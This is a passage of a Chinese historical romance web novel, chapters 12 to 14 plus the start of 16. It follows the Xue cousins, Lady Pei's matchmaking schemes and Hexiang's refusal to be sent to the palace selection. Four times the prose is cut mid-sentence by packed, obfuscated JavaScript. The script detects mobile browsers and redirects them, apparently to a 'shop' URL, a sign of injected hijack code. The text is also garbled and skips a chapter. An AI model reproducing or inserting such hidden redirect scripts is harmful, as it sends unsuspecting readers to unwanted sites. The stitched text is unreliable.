d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550950|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。上回海棠宴我就瞧上了，可惜我娘提过继被她当众回了。后来我单独找她，她也不理我。” 他把扇子一合，藏着几分不甘，说：“我就不明白了，我裴子年好歹也是上京城里有名的风流人物，怎么在她眼里就跟块石头似的？” “你本就是块石头。”池懿说。 裴子年的话哽在喉咙里，忙不迭拿扇子敲了他一下：“你这人……我就不信，你没多看五姑娘两眼！” 这下，轮到池懿如鲠在喉了。 裴子年回望花厅，荷香正牵着薛玉柔往廊下走。 少女侧脸擦过一簇垂下来的紫藤，花影落在她眉眼间，明暗交错，愈发凸显那副骨相。 少年忍不住叹气嗔道： “说实话，我是真觉得她好。不光生得好，性子也好，还有骨气。可惜，荷香不肯。她家里留下的那点家产，我也不图，我大概——” 他思索着，在自己未被学识污染的脑子里挑挑拣拣，道：“就是觉得她真有意思。” 池懿垂下眼，把腰间的短刀拔出来，用拇指试了试刃。 刀刃在日光下折出一线冷光，映在漆黑的瞳仁里。 他说：“她不会嫁你。” “你怎么知道。”裴子年疑惑。 “她看不上你。” 裴子年被刺得倒吸一口气，扇子啪地一收：“池二！我怎么得罪你了？我不过就夸五姑娘两句，你至于这么说我？” 池懿把刀插回鞘中，不急不缓，道：“你哥哥今日搭的这台子，你方才怎么不去拦？侯府四姑娘，分明是冲着你来的。” 裴子年耸耸肩：“裴子序再无知无礼，也是我的哥哥。” 更何况，近几日，薛玉柔没少在光天化日之下示爱。 害得他连去花楼都没心情了！ 远处，薛玉柔攥着荷香的手，声音沙哑地开口问：“我是不是……很蠢？” 荷香替她理了理鬓边歪了的小珍珠，轻声说：“四姐姐，这身桃红衫子很好看。只是下次别配鹅黄了，配月白更衬姐姐的肤色。” 薛玉柔立刻低头，左瞧右瞧地打量自己袖口上，眼泪和牡丹残汁洇湿的深色。 原本，裴子序递剪子时，她还觉着，这身桃红配鹅黄，是春日里最出挑、新颖的打扮。 此刻想来，出挑，也不过是让别人更容易把自己当靶子。 薛玉柔把指头都掐红了，问：“裴子年方才往榆树那边走，是去找你的。” “是。”荷香看着她。 薛玉柔收紧掌心：“那你……” “我不会嫁给他。”荷香摇摇头，“四姐姐以为，我这样的出身，嫁进裴家，能有什么好下场呢。” 薛玉柔一时失语。 年幼时，自己对荷香的敌意、冷眼、和阴阳怪气的抢白，都像须臾之间那枝揉烂的魏紫一样。 脏兮兮、黏糊糊的，怎么也洗不掉。 她本以为，是荷香挡了她的路。 但事实上呢，人根本不在这条路上。 “对不住。”薛玉柔止住的泪水涌得更凶了，“从前的事，对不住。” 她埋进荷香肩头，哭得上气不喘下气。 12. 人精儿 荷香也不躲，只拿手一下、一下抚着背脊，不疾不徐。 薛玉柔的脸紧贴外衣，隔着薄薄织料，难免觉出少女瘦削的蝴蝶骨。 表妹妹……怎生这样瘦？ 她竟从未留意！ 昔日，她留意的俱是些别的。 荷香太素净，立在相府花团锦簇的姐妹堆里，便如一片落错了地方的叶子。 奈何，这样一个少女，偏偏轻而易举、捧了颗真心，不怕任何人作践。 海棠宴上，裴夫人提起过继。 尔时，薛玉柔坐在席间，咬着下唇，只觉满嘴酸涩。 宴后，喜珠被她吓得缩在墙角瑟瑟。 偏她砸完又悔，蹲在地上，须臾去捡那碎瓷片子，划了手指，血涔涔地淌，也不觉疼，只觉委屈。 薛玉柔恨裴子年看不上她，更厌弃自己，恨亦无用。 她费了许多心思打扮，十七岁的年纪，鲜嫩得能掐出水来。 然，裴子年连她的裙角都不曾瞧过一眼。 他看的是谁？ 是那个坐在榆树底下、眯着眼打盹儿的薛荷香。 “我那时候，深感你是天底下最可恨的人。”薛玉柔的声音闷在荷香肩窝里，带着浓重的鼻音，“你什么也不做，便把所有人的目光都抢了去。裴夫人、裴子年、就连祖母也统统护着你。” 凭什么？ 凭什么叫一个外人将我们全都比了下去。 荷香轻轻嗯了一声，未曾打断。 薛玉柔的肩膀抖得更是厉害：“你可知……我最恨你什么？” 海棠宴那夜，她回房照镜，照了许久、许久。 “我想我到底哪里不如你。我的衣裳比你鲜亮，首饰比你贵重，我是相府正正经经的四姑娘，你呢？你不过是个寄居的表小姐！甚至连相府的正经主子都算不上！” 可站在你面前，却总觉得矮了一截。 “你明明什么都没有，却什么都不怕。我想要的东西那样多，却什么都怕。” 说到此处，荷香能觉出四姑娘的手指攥紧了自己的袖口，满头是汗。 “你当众回绝裴夫人的时候，我恨极了。”她说。 薛玉柔并不明白，荷香为何不肯要这些东西—— 裴家的婚事、老太太的恩宠，薛玉宜的另眼相看。 “我做梦都想要，你却如弃敝屣一般，丢开了。你让想要这些东西的我，尽像痴儿。” 薛玉柔抬起脸蛋，双目肿若核桃，睫毛上犹挂着泪珠子，摇摇欲坠：“你为何还来帮我？我从前那般待你，你该恨我才是。你该和薛家其他姑娘一般，站在一旁，冷眼瞧我的笑话……” 就像她自己，曾那般对待荷香一样。 “我帮的是站在花厅，无辜被人当猴耍的姑娘。”荷香拿帕子替她揩了脸侧，帕子湿得能拧出水来，说，“至于，那姑娘从前如何待我？站在你面前时，我未曾想过。” 薛玉柔哽住：“那你如今仔细想想，是不是觉得我活该？” 荷香望着她，极淡极散的洞明，如晨雾薄薄地浮在眉目之间。 “四姐姐恨过了，往后，便别再作践自己了，怪累的。” 薛玉柔一愕，鼻头酸楚，搂着荷香的脖颈又哭起来。 廊外丫鬟通传。 成□□人端稳持重的步履，伴着环佩轻撞的玎珰，走了过来。 见薛玉柔哭成这般模样，裴夫人疾走两步，弯下腰，亲自伸手，去扶薛玉柔的胳膊。 “柔姑娘受委屈了。”裴夫人叹气连连，道，“伯母顷间在里头招呼客人，未能顾全上，悉为伯母的不是。” 说着，裴夫人将自己的帕子也掏出来，给柔姐儿擦泪。 上好的吴绫，角上挑绣魏紫，极为精致。 拭泪须臾，裴夫人便将帕子轻轻搁在廊凳上。 然后直起腰来，望着荷香。 彼时，她正端着酒盏，与几位年长的太太寒暄，只听外头动静有异，便踱至窗前，望了一眼。 只那一眼，便心下雪亮。 她在上京城的锦绣堆里浮沉了大半生，什么人未曾见过？ 少许贵胄，是藏不住锋的。 锋芒一露，便收不回去，如那脱缰之马。 而寻常的孩子，乃根本无锋。 任凭如何逼迫，也逼不出一句有筋骨的话。 五姑娘，虽为棘手，却也堪大用。 但……有脊梁骨的人，不肯做棋子，才系真正的症结所在。 裴夫人的打量越过荷香肩头，悄然往廊柱无心一带。 池懿还站在那里。 他靠在廊柱上，独独而立，既不吃茶，也不观花，唯旁观着廊下的两位女儿家。 裴夫人心下怦然一动。 她在上京城的交际场中周旋了半辈子，什么事不曾经过。 池懿这等将门子弟，眼睛里素来不揉沙子，寻常闺秀入不得他的眼。 兹日，他不但留到了散席，还这般目不转睛地望着。 这便不是寻常的留意了。 她在池懿与薛玉柔之间拨了一个来回，又观察了荷香少顷。 两江总督池大人，总督两江军务、政务，节制江南数省，是大临当朝少有的实权大员。 池懿作为池大人的嫡次子，自小在行伍之间长大，身份贵重，非寻常膏粱子弟可比。 此子在上京交际场上，素来行踪飘忽，不与人交接。 裴家递了多少回帖子，他肯来的次数莫不屈指可数。 今朝，看在裴子年的份儿上，他肯赏光，已是给了裴家莫大的颜面。 如今，眼瞧着池懿对薛家姑娘青眼有加。 这便是裴府一桩可遇不可求的机缘！ 裴夫人心念电转。 她原本盘算着，要将荷香过继到裴家，以裴家女儿的名义送进宫中参选。 此事若能办成，裴家便有了联姻天家的筹码。 可池懿若是对荷香有意，那便是另一番计较了。 两江总督的公子看上的姑娘，自己若是执意要将人过继进宫，岂不是拂了池家的颜面？ 池大人手握重兵，坐镇江南，在朝中举足轻重。 池懿作为嫡次子，不在两江受父荫蔽，反倒留在京城。 这其中深意，裴夫人心里门清—— 嫡子留京，名为伴驾，实为质任。 但得罪池家，绝非明智之举。 可若是就此放手，选秀的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550951|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又如何交代？ 裴家无女，太后那边的名额白白空着，岂不可惜。 裴夫人蹙了蹙眉，旋即又舒展开来。 这上京城里的事，从来不是非此即彼的。 池懿看上荷香是一桩人情，荷香本人肯不肯接这桩人情，又是一回事。 相府里头，她已经在荷香面前，碰过一回软钉子。 这丫头，并不是那种见了高枝，就巴不得往上攀的人。 既然如此，自己大可两厢下注。 先稳住荷香，暂不提过继选秀的事儿，免得逼急了反生变故。 再在池懿面前卖个顺水人情，让他记着裴家的好。 日后池大人回京述职，裴家也能多一分依仗。 至于荷香自己愿不愿？ 那是池懿的事，不是她裴家的事。 她只负责牵这根线。 线牵好了，两头都是人情。 思及此，裴夫人面上已换了春风和煦的笑容，将手轻轻搭在荷香的手腕上，姿态亲昵而不狎昵。 裴夫人说：“五姑娘，伯母办的花会，还有一个客人，我想引荐予你。难得来一趟，你多认识几位贵人总归没有坏处。” 荷香帮薛玉柔理好衣裳，安安静静地等着。 少女眸子澄澈如水，倒让裴夫人这般见惯风浪的人，也看不透其中心思。 罢了、罢了…… 裴夫人心下又拨了一回算盘，表面笑意依旧纹丝不动，唯将手缓缓收回，转身朝廊柱那边招了招手。 自个儿手势亦不似寻常招呼自家子侄那般随意。 而是四指并拢，掌心朝上，徐徐一展，是正经官眷之间，引见贵客时才用的仪态。 周围的丫鬟婆子也跟着屏了屏气。 裴夫人在这上京城里，素来是八面玲珑、长袖善舞的人物，对谁都是笑盈盈的。 如此郑重其事地招呼一个晚辈，却是凤毛麟角。 “池公子。”她细声唤道。 裴夫人侧过身子，让两人面对面站定。 “这位，是薛相的甥女，府中的五姑娘，兰心蕙质，沉静端庄，论人品论才情，在上京城的闺秀里头也是一等一的。” 她字字清晰，句句恳切，既不曾言过其实，又给了荷香体面。 “荷香，这位是两江总督池大人的公子，单名一个懿字，行二。自小在行伍之间长大，规矩上呢，比咱们这些文官家的孩子严整得多，从不与纨绔为伍，是上京城里出了名的端方君子。” 裴夫人一边说，一边顾及着池懿的脸色，确认自己的措辞不曾逾矩。 见池懿面色如常，才又轻轻一笑，道：“池二公子平日里本不喜应酬这些花花草草的场合，今日肯赏光来裴家看花，实在是给伯母颜面。你们都是年轻人，正好结识结识，日后也好有个照应。” 池懿朝荷香点点头，算是打过招呼。 荷香屈膝行了一礼，两人对立着，隔着两步之遥。 风过廊下，将耳边碎发软软拂起，又落下。 裴夫人站在一旁，心下越发笃定。 池懿作为将门子弟，素日里寡言少语。 而今，非但迟迟没有离去，竟还对她的引见坦然受之！ 13. 拿什么还你 就在此刻，廊外笑语由远及近。 薛玉宜扶着宝琴的手，款款走来，身后跟着三房婉、宁二位姑娘。 她走到廊下，先朝裴夫人行了一礼，再朝池懿点点头。 薛玉宜与池懿是见过的。 去岁宫宴上，遥遥一瞥，少年坐在勋贵席间，而她，随母亲坐在命妇席中。 虽谈不上相识，但模样，还是有些印象的。 裴夫人何等老练，即刻笑道：“宜姐儿来得正好。你们年少，合该一起游戏才是。伯母先行安排花席，请自便。” 薛玉宜大方一笑，无懈可击道：“伯母疼妹妹，倒是妹妹的福气。” 说完，亦复朝池懿颔首。 “池公子，家妹年纪尚小，若有礼数不周之处，还望见谅。” 池懿淡淡回言：“薛大小姐言重。” 薛玉宜何等敏锐，立刻懂了对方的言下之意。 她竟不知，裴夫人何等势利之人，也会这般郑重其事地为荷香引见外男。 两江总督之子，手握实权，门第煊赫。 荷香若嫁得好，也算善终。 可假使真攀上总督府的高枝…… 糟心念头甫一冒出来，薛玉宜忍不住在心底啐了自己一口。 她好好的一个相府大小姐，何时作出如此小肚鸡肠的姿态！ 可啐归啐，该念头仍在，细细搅乱心头，拔不出、抚不平。 自己在普度寺盘算的那些事，荷香虽不知全貌，却晓得她与太子私下往来，远非寻常君臣疏离。 更何况，从寺中归来，薛珏也是受了家信的影响，才会受祖母惩罚。 荷香现如今尚且安安静静替她守着秘密，可往后呢？ 若表妹妹做了总督府的少夫人，有了靠山，还会这般听话么。 …… 宴散时暮色已沉。 各府马车一概于裴府外等候，红烛灯笼一盏一盏，暖黄光晕盈盈。 荷香扶莲心的手正要上车，然则，陌生轻唤，拦住了她。 “五姑娘留步。” 来者年约四旬，作一副管事打扮，腰间系玄色板带，步履稳而不急，眉目恭肃。 到了跟前，先规规矩矩作了个揖，甫才双手捧上一笼精巧花灯。 竹骨糊纸，光晕温温，透绿昂贵的玉环摇晃于灯柄之上，与环下朱红穗子相映成趣。 “小人福禄，是池公子府上的管事。”管事恭敬掬身，窃语道，“公子说，夜色既深，春夜恐有霜。此灯虽不值什么，留予姑娘照个亮，也算不辜负今夜好月色，全了此灯福运。” 荷香低头看那盏灯笼。 其竹骨纤细，纸面光洁明亮，玉石纯净。 即便是个添彩的物件儿，在上京有名的铺子里头，恐值好几两银子呢。 但，她摇摇头说：“烦请管事，替我谢过池二公子。只是……巷口就有相府的灯笼，公子厚意，愧不敢当。” 管事似早料到有此一答，依旧恭恭敬敬捧着灯笼，含笑道：“姑娘不必为难。公子只吩咐小人将此灯送到，若姑娘不受，便搁在相府车辕上，小人自回去复命。” 说完，便将灯笼稳稳当当立于马车辕木上，又作了个揖，退后两步，转身去了。 莲心年岁小，见了如此做工的花灯，难免喜欢。 她左瞧右看，却见荷香兴致缺缺的模样，不由小声说：“姑娘，这……” “上车。” 荷香提起裙摆，利索跨上回府的车马。 莲心不敢再说，紧跟着上了。 那盏灯笼无可奈何之下，只得孤零零搁在车辕上，朱红穗子被夜风拂得一晃、一晃。 不知动摇了哪位少年郎的心事。 马车驶出巷口。 …… 池懿出了巷口，却没立即打道回府，转而拨转马头，一去东宫。 他与太子素日并无深交。 宗室勋贵之间，点头之交，方为天子脚下的常态。 所谓的交集，俱不过他在学宫挂了个虚衔，偶尔在朝堂上，远远望见太子舆驾。 偏偏裴子年那张嘴，什么话都藏不住。 一回吃酒，裴子年喝得酩酊大醉，上言不搭下语。 说太子与相府嫡长女薛玉宜之间早已不清不楚。 又池懿当时没放在心上，只当好友昏了头，寻个乐子听听。 今夜众秀齐聚，反倒想起来了。 倘或太子当真娶了薛玉宜，荷香便是太子的妻妹。 妻妹的婚事，太子虽做不得主，却能使得上绊子。 他这随心一行，夤夜来访，并非为了争什么。 不过是提前交好，免得日后成了姐夫，反倒不好说话。 …… 女儿家们回到相府，已是戌末。 门房老赵头提着灯笼，马不停蹄迎上来，见了薛玉宜便飞快道：“大小姐，侯府的谢世子来了。在前庭等了您快一个时辰，说是有要紧话说。” 薛玉宜脚步一顿。 谢珩这时候来，能有什么要紧话？ 宝琴小心翼翼低声道：“小姐，谢世子会不会又是来催婚的吧？” 薛玉宜攥紧袖中帕子：“母亲可见过我的未婚夫了？” 老赵头迟疑住：“这、奴才便不知道了，不过……” 门房话还没说完，薛玉宜便挥挥手，不耐道：“罢了，你一个下人，能知道什么？我先去见他便是。” 这谢世子，看着文人风骨，净会给自己添麻烦！ 若邬晏早些日子，请了圣旨赐婚，她也不必在众姐妹面前遮遮掩掩了。 太子妃、乃至皇后，那才是相府嫡女该有的风光！ 薛玉宜深吸一口气，将披帛和金钗一一理好。 谢珩负手孑然于山水屏风之后，身形清瘦。 听见动静，旋即回头，露出一记浅笑。 他素来这样，温文有礼，从不让人难堪。 薛玉宜幼时深感此乃君子之风，亦年少慕艾。 近来，则觉得这客气底下，满是陌生。 世子不急不躁，即便这桩婚事拖了这些年，似于他而言，全不过是一桩寻常公务。 “玉宜，你回来了。”谢珩直来直往，还未受官场熏染，从袖中取出一封书信，道，“今日多有叨扰，然有些话，想着还是当面同未婚妻说，最为妥当。” 薛玉宜接过，一目十行看完，脸色刹然变了。 这封信，来自皇宫。 选秀章程已定。 而她，名列秀女名册第一页，不得以任何婚约推免。 “世子慌忙来访，就为送这封信？”薛玉宜耐住性子，问。 这是要她做决定么？ 谢珩品察出女子心中焦虑，不由缓声道：“你若有别的打算，我可以替你去办。” 薛玉宜后退半步，果断掩面摇摇头。 她能有什么打算？ 她的打算就是嫁给太子、入东宫！ 可这话，她怎能对谢珩说。 谢珩是她的竹马和未婚夫，却也是外人。 她不喜欢这般，只能向谢珩求助的卑贱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550952|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姿容。 “玉宜，不必多虑。”谢珩说，“你我自幼相识，虽无儿女私情，却有少年情谊。你若不想参选，我去替你斡旋。你若想参选，我也可替你铺路。” 薛玉宜闻言，眉眼一怔，从心底泛上苦涩滋味。 如此感受，撑得喉咙发紧，不吐不快，却由理智死死按着。 她怕自己一张嘴，便是歇斯底里，在旁人面前，失了相府体统！ 可在谢珩面前，有什么遮掩的必要呢？ 从小到大，自己最难堪的样子，他一概见过。 只是……自己终究负了他。 薛玉宜松了身子，唇角笑意半真半假。 她说：“世子好大的口气。那若我说，我不想做侯夫人，也不想入宫选秀，只想痛痛快快做那母仪天下的皇后呢？” 话一出口，薛玉宜立刻用帕子捂住嘴，酸的眼泪快要飙出来。 她都说了什么呀…… 可转念一想，想站在最高处，又有什么不敢认的。 谢珩低下头，不过沉默几息的功夫，薛玉宜便开始后悔。 他是侯府的世子，亦是她的未婚夫。 倘若世子将这话传出去—— “可以。”男人说。 霎然间，薛玉宜僵在原地。 她努力观察着谢珩，拼命想从他脸上找出说笑的痕迹。 可他没有说笑。 薛玉宜后背陡然发凉。 他是认真的。 可侯府早已不如当年鼎盛，不过守着祖上传下来的爵位，在朝中做个闲职。 他能有什么法子送她上后位？ 就算有，又凭什么帮自己。 薛玉宜是谢珩的未婚妻，却在他面前说着要母仪天下，嫁给另一个男人。 他不恼不怒，反而说可以？ 薛玉宜掐住手心，紧了又松，松了又紧。 谢珩将变化看在眼里，说：“你我自幼相识，我知你素来不甘于寻常内宅，不肯碌碌一生只做一个侯府少夫人。这没什么不好。旁人或许觉得你是痴心妄想，我却觉得，你想要那些，是因为你值得那些。” 薛玉宜将脸别开，喉咙紧涩，一时失语。 “你若是想进宫选秀，我便去替你斡旋家族和相府的面子，免除后顾之忧。” 他顿了顿，接着说。 “想做皇后，也不是什么九死一生之事。当今陛下春秋鼎盛，后宫空悬，后位素来空置。你若真有此心，并非没有路径。” 薛玉宜扭头，压唇止言。 她想做的是邬晏的皇后，不是君主邬君雪。 更夫的梆子声临近，娇美的海棠花瓣，甫一离枝，转瞬吞没于天阶夜色其间。 薛玉宜哑然问：“你、你为什么要帮我？” 谢珩拱了拱手，并未回答，只道：“若你心有决议，选秀之前，随时可来侯府找我。” 他跨出门去，夜风沙沙，很快与夜色融为一体。 他一走，薛玉宜也赶紧动身。 宝琴提着灯笼，在后头紧赶慢赶，嘴里低低唤着小姐慢些，她只作不闻。 穿过游廊，大房正院里，灯火尚明，薛玉宜推门而入。 母亲正歪在美人榻上让丫鬟捶腿，见自己进来，眉头直蹙：“这般时辰了，还不歇着，成何体统。” 薛玉宜收了往常撒娇的性子，只将袖中信函取出来，递上去。 大太太立刻拆开看了，旋即，将信函啪地拍在案面，屏退周遭丫鬟婆子。 “太后这是盯上薛家了！”大太太冷笑道。 14. 真是放肆 她的心肝儿，到底嫁不嫁世子，竟成了贵人们博弈的玩意儿！ 薛玉宜在母亲脚边跪下，扶上膝盖，哭弄道：“娘！女儿不想进宫。” 圣上后宫虚设，连秀女的面都不肯见。 苏侍郎家的千金，仗着太后的面子，递了牌子，想提前入宫面圣。 陛下当着满殿内侍的面，问她读过几本史书，又问江南今岁漕运几何。 那苏姑娘涨红了脸，半个字都吐不出，哭着回慈宁宫。 太后心疼得不行，却一句话都不敢多言。 她说：“女儿去了，也不过是自取其辱。” 大太太端起茶盏刮了刮浮沫，却不喝，只望着茶汤出神，面容氤氲在淡淡的热雾里。 良久，她放下茶盏，说：“宜姐儿，你可知当年你父亲为何要将荷香留在府中？她娘咽气前，把铺子、田庄和压箱底的五千两银子一并交到了你祖母手里。六年来的出息，不下万两。你真当相府养她，是白养？” 大夫人说：“她的嫁妆，乃你弟弟将来娶媳妇的聘礼，亦为你父亲在朝中打点的银钱。如今选秀在即，让她代你入宫，不过是让她提前把这笔账还了。” 薛玉宜迟疑抬眸，她知道，荷香娘亲留了产业。 却从未知晓，母亲早已将这笔账算得如此清楚。 六年来的每一匹锦缎、每一件首饰、每一顿饭食。 相府都有一本账本在背后记着。 大太太声音越发和缓：“你若是心里过意不去，便去同她说。姐妹之间，有什么话不能摊开了讲？你只告诉她，选秀不过是走个过场，去了照个面便回来。” 陛下连苏家姑娘都看不上，她一个江南来的表姑娘，能翻出什么浪？ “等撂了牌子回来，她依旧回她的玲珑阁，你依旧做你的太子妃，两不相欠。” 薛玉宜说：“可今日，池懿在裴家宴上，对荷香很是留意。裴夫人还特地引见了。” 薛玉宜捏紧母亲的手说：“娘，池家是两江总督，手握重兵。若是池懿当真对荷香有心，咱们把她送进宫去，岂不是得罪了池家？” 大夫人收敛笑容，不置可否：“池懿若是当真对五丫头有心，自然会去宫里讨她。到那时候，是陛下不放人，又不是相府不放人。池家要怪，难道去怪天子不成？你害怕个什么劲儿……” 薛玉宜松开手：“我、我都听娘的。” 薛玉宜出了正院，想起六年前，荷香初到相府那天。 小丫头瘦得像根干瘪的豆芽菜，抱着她的腿叫姐姐，又乖又软。 彼时，她把粉白小拳头攥在手心里，说妹妹别怕，往后，这儿就是你的家。 那时候，薛玉宜是真心想给这个陌生的小妹妹一个家的。 可六年过去了，薛玉宜主动把这个妹妹，推到了注定守活寡的宫门前。 玲珑阁里还亮着灯。 莲心开门时没挪动身子，显然是没想到大小姐会在这个时辰过来。 薛玉宜越过丫鬟往里走，看见荷香正坐在桌案旁，手里捏着一本书，衫子松松地罩在身上，锁骨浅浅。 “大姐姐怎么来了？”荷香轻声问。 薛玉宜面对面坐下，朱唇轻启，想好的那些说辞却怎都吐不出来。 冠冕堂皇的话，不堪一击罢了。 “妹妹，我有件事想求你。” 等她说完了，荷香才开口：“大姐姐，我不去。” “我不欠相府的，也不欠姐姐的。相府大人拿着我娘的银子养我，反过来要我感恩戴德，天下没有这样的道理。至于姐姐与太子的事，我替你瞒了三年，也替你挡了三年。姐姐若觉得，这份姐妹情意还不够换一个自由身，那我也无话可说。宫里，我不会去的。” 这一生，她的心儿，早就生了刺，独独有江南。 薛玉宜说：“妹妹——” 荷香合上书页：“天色不早了。大姐姐明日还要早起请安，早些回去吧。” 薛玉宜咬牙：“荷香——” 薛荷香转身就走。 既已做了决定，又何必演这么一出？ 若想良心安下，就不该做那等子缺心事儿！ 薛玉宜望着荷香那只扶在门框上的手。 指节细瘦，腕上素银镯子滑到小臂半截处，泠泠地晃。 “荷香——”薛玉宜冲过去，一把抱住少女，“你听我把话说完。只是走个过场，陛下连苏家姑娘都看不上！” “若真是如此，大姐姐为何不自己去走这个过场？” 荷香打断她。 “大姐姐是相府嫡长女，品貌才学皆是上选。陛下若看不上苏家姑娘，说不准偏就看上大姐姐了呢。这样的好机缘，妹妹不敢抢。” 薛玉宜被这话噎得脸色红白交错。 她说：“你当我愿意来？我能怎样？若有的选，我又怎会来为难你！” 薛玉宜双手抖得厉害，却倔强地昂着头，不肯让眼泪掉下来。 少女低头看着薛玉宜围在她腰间的那只手。 圆润指甲涂着蔻丹，修得格外精致。 这双手是暖的，却叫她觉得凉。 “姐姐说完了吗？” 荷香把手抽出来，退后一步，拉开两人之间的距离。 “姐姐心里过意不去，我信。可宜姐姐，在来到玲珑阁的时候，这份过意不去，并没有让姐姐说出一个不字。” 荷香扭过头去：“姐姐今日来求我，不是来给我选择的，而是来让自己心里好受些的。等我点了头，姐姐便可以告诉自己——” “不是我把她推进去的，是她自己愿意的。” 薛玉宜脸色苍白，想反驳，身子却无力退后。 因为荷香说的每一个字都是真的。 “我六岁没了爹，七岁没了娘。祖母把我接进相府，给饭吃、给衣穿。我自是不胜感激。” 荷香往前走，把薛玉宜逼得后退。 “可这不代表我欠你们一条命。我在这个家里住了六年，其中替姐姐遮掩私情遮掩了三年。” “姐姐每见太子，妹妹都为你守着。下雪天守过，三伏天也守过。” 有一回，薛玉宜和邬晏共处，互诉情衷，她便在外头喂了两个时辰的蚊子。 薛玉宜的眼泪终于掉了下来：“你从来没有跟我说过这些……” “我跟姐姐说过的话，姐姐记住过哪一句？” “荷香——” 薛玉宜的眼泪淌了满脸，伸出手去，想拉荷香的袖子。 荷香侧身避开，让那双手尴尬得独独落在空中。 “姐姐请回吧，从今往后，姐姐的事，我不会再管。我的事，也不劳大姐姐费心。” 薛玉宜不知道自己是怎么走出玲珑阁的。 只记得跨出门槛的时候，她差点扑了满地。 宝琴慌忙弯身扶住，待走到回廊拐角处，薛玉宜突然扶着柱子弯下腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550953|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，吐出一口酸水。 宝琴吓得连声叫：“小姐！” 薛玉宜摆摆手，用手背擦擦嘴角，直起身来继续走。 正院里，大太太见她进来，劈头便问：“小丫头可答应了？” 薛玉宜站在当地，抬起那张哭花了的脸望着母亲。 忽然觉得自己从来没有像此刻这样清醒过。 “她不肯……”薛玉宜听见自己的声音说，“她不肯。妹妹什么都不欠我们的。娘，你放过她吧。” 大太太的笑容一点一点收了。 她端详着女儿那张哭花了的脸，沉默了片刻。 随后放下茶盏，站起身来走到薛玉宜面前，拿帕子替她擦了擦脸上的泪痕。 “宜姐儿，你累了。回房歇着吧，这件事，母亲自有计较。” 薛玉宜彻底死了心。 从始至终，母亲就没有指望自己去说服荷香。 让她去玲珑阁，不过是想令薛玉宜亲耳听见荷香拒绝，亲手断了那点优柔寡断的姐妹情分。 母亲要的不是荷香点头。 要的是她薛玉宜死心！ “娘——” 她还待说什么，大太太已经转过身去。 女人吩咐赵嬷嬷：“明早去玲珑阁，请五姑娘来正院。” 赵嬷嬷垂手应是。 薛玉宜后退两步，撞在门框上。 她望着母亲的背影，又低头看了看自己空落落的掌心。 提线木偶罢了，线在母亲手里捏着，无能为力至极。 …… 次日清晨，赵嬷嬷果然来叩玲珑阁的门。 荷香心烦得一夜未睡。 莲心红着眼眶替她打理衣襟，低声说：“姑娘，奴婢陪你去。” 荷香按住她的手，说：“不用，你在院子里等着。” 莲心咬着嘴唇，到底没敢跟上去。 正院里，大太太端坐在上首。 荷香问：“大舅母有什么话，请说。” 大太太将一份名册搁在案上说：“荷香，如今叫你来，是要商量一桩事。你大姐姐身染微恙，太医诊过，说不宜入宫参选。舅母想让你代你大姐姐入宫走一趟……” 荷香故作不解道：“大姐姐染了什么恙？昨夜在玲珑阁还好好的。” 大太太不动声色说：“春霜极昼，自然是夜里又着了风寒。” 荷香轻笑。 旋即弯下腰，脱了绣鞋，露出缠白布条的脚踝，伤口还在往外洇着血水，深一块、浅一块的红。 “大舅母说姐姐染了微恙，太医诊过不宜入宫。我脚上这道口子，也是昨夜在相府跟前被瓷片划的。舅母要不要也请个太医来瞧瞧？” 大夫人厉声道：“你放肆！” 荷香把鞋穿好：“我放肆？大舅母说我大姐姐身染微恙不宜入宫，可她昨夜来玲珑阁时满面红光、中气十足，哪里来的微恙！大舅母若真为她好，便该让她多在花园里走动走动、晒晒太阳，不是把她关在屋子里装病！” 她顿了顿，一字一句说。 “我倒有个主意，不如再请太医来一次，当着祖母的面替大姐姐好生诊一诊。太医若说当真不宜入宫，妹妹我无话可说，立刻替大姐姐进宫门。可太医若说，大姐姐身子康健……那便是大舅母蓄意欺君！罪名大舅母来担，与我无关！” 大太太霍然起身：“你！你一个表姑娘，敢在正院里这般撒野？谁给你的胆子！” 16. 火烧似的烫 板车停稳，老妪扶着少女从草帘子底下钻出来。 又摸出个磕了边的粗陶碗，在渡口的茶摊上讨了碗热水，递给她。 荷香接过来喝了两口，喉咙里那股火烧火燎的感觉才算压下去。 